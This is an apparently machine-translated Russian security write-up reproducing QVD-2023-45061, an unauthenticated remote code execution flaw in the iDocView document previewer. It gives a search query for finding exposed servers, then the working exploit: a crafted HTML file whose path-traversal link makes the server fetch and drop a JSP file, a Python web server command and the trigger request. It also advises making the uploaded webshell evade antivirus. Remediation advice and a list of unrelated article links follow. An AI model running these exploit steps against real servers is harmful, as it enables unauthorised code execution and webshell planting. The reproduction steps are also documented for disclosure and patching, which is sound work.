QVD-2023-45061: I Doc View система предварительного просмотра документов в режиме онлайн, уязвимость RCE
QVD-2023-45061: I Doc View система предварительного просмотра документов в режиме онлайн, уязвимость RCE

Подпишитесь на нас ❤️, добавьте звездочку 🌟 и учитесь безопасности вместе! Автор: Locks_@Timeline Sec Количество слов в этой статье: 1042. Время чтения: 2~3 минуты. Заявление: Это только для ознакомления, пожалуйста, не используйте его в незаконных целях, в противном случае вы будете нести ответственность за последствия.

0x01 Введение

Система онлайн-просмотра документов I Doc View — это система, разработанная Beijing Zhuoran Online Information Technology Co., Ltd. В основном он предоставляет пользователям возможность онлайн-просмотра различных типов файлов документов без загрузки или установки соответствующего программного обеспечения.

0x02 Обзор уязвимостей

Номер уязвимости: QVD-2023-45061.

В онлайн-системе предварительного просмотра документов I Doc View существует уязвимость, связанная с удаленным выполнением кода. Неаутентифицированный удаленный злоумышленник может использовать интерфейс «/html/2word?url=", чтобы позволить серверу удаленно загружать вредоносные файлы и выполнять произвольный код.

0x03 Затронутая версия

iDocView < 13.10.1_20231115

0x04 Настройка среды

Если у вас есть условия, пожалуйста, переезжайте сюда.

Язык кода:javascript
копировать
Запросите месячную бесплатную пробную версию для установки на свой сервер.,Пожалуйста, заполните эту форму заявки:
https://wj.qq.com/s2/5983516/63c4/

Грамматический запрос:

Язык кода:javascript
копировать
title == «Интернет-просмотр документа» - I Doc View"

0x05 Повторение уязвимости

Шаг 1: Лучше всего создать новую папку на VPS для воспроизведения.

vim timelinesec.htmlструктураhtmlдокумент

Язык кода:javascript
копировать
<!DOCTYPE html>
<html lang="en">
<head>
    <title>test</title>
</head>
<body>
  <link href="/..\..\..\docview\locks.jsp">
</body>
</html>

Создание вредоносных файлов

Язык кода:javascript
копировать
vi '..\..\..\docview\locks.jsp'
 
 
<%out.print("Locks_");%>

Включите http-службу Python на сервере.

Язык кода:javascript
копировать
python3.10 -m http.server 80

Затем перейдите по пути в онлайн-системе предварительного просмотра документов I Doc View:

Язык кода:javascript
копировать
http://your-ip/html/2word?url=http://your-vps-ip/timelinesec.html
Язык кода:javascript
копировать
https://xxx.xx.xx.xx:84/html/2word?url=http://your-vps-ip/timelinesec.html

Все остальные используются для предыдущих тестов, так что не беспокойтесь об этом. Когда оба запроса ответят на 200, будет загружен текстовый файл, что указывает на успешную работу эксплойта.

Проверка доступа к locks.jsp

Советы: перед успешной загрузкой загруженная лошадь должна быть свободна от убийств.

Метод загрузки тот же, просто подождите некоторое время и позвольте пулям полететь некоторое время.

Анализ уязвимостей: функция удаленного кэширования страниц в приложении синтаксического анализа не выполняет достаточную проверку безопасности входного URL-адреса. Создавая специальный URL-адрес, приложение загружает вредоносные файлы.

0x06 Как это исправить

1. Официальный план ремонта:Поставщик отключенлазейки Соответствующие интерфейсы и обновление версии программного обеспечения до13.10.1_20231115,Клиенты могут обновиться до этой версии, чтобы решить проблему.,Официальный сайт https://api.idocv.com обновлен до последней версии.

2. План временного ремонта:a.Используйте защитное оборудование для защиты связанных активов;b.если в этом нет необходимости,При необходимости избегайте доступа к ресурсам в Интернет; при необходимости ограничивайте источники доступа с помощью сетевых политик ACL;,Разрешить доступ только определенным IP-адресам; c. Запретить серверу активный доступ к внешним незнакомым ссылкам.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода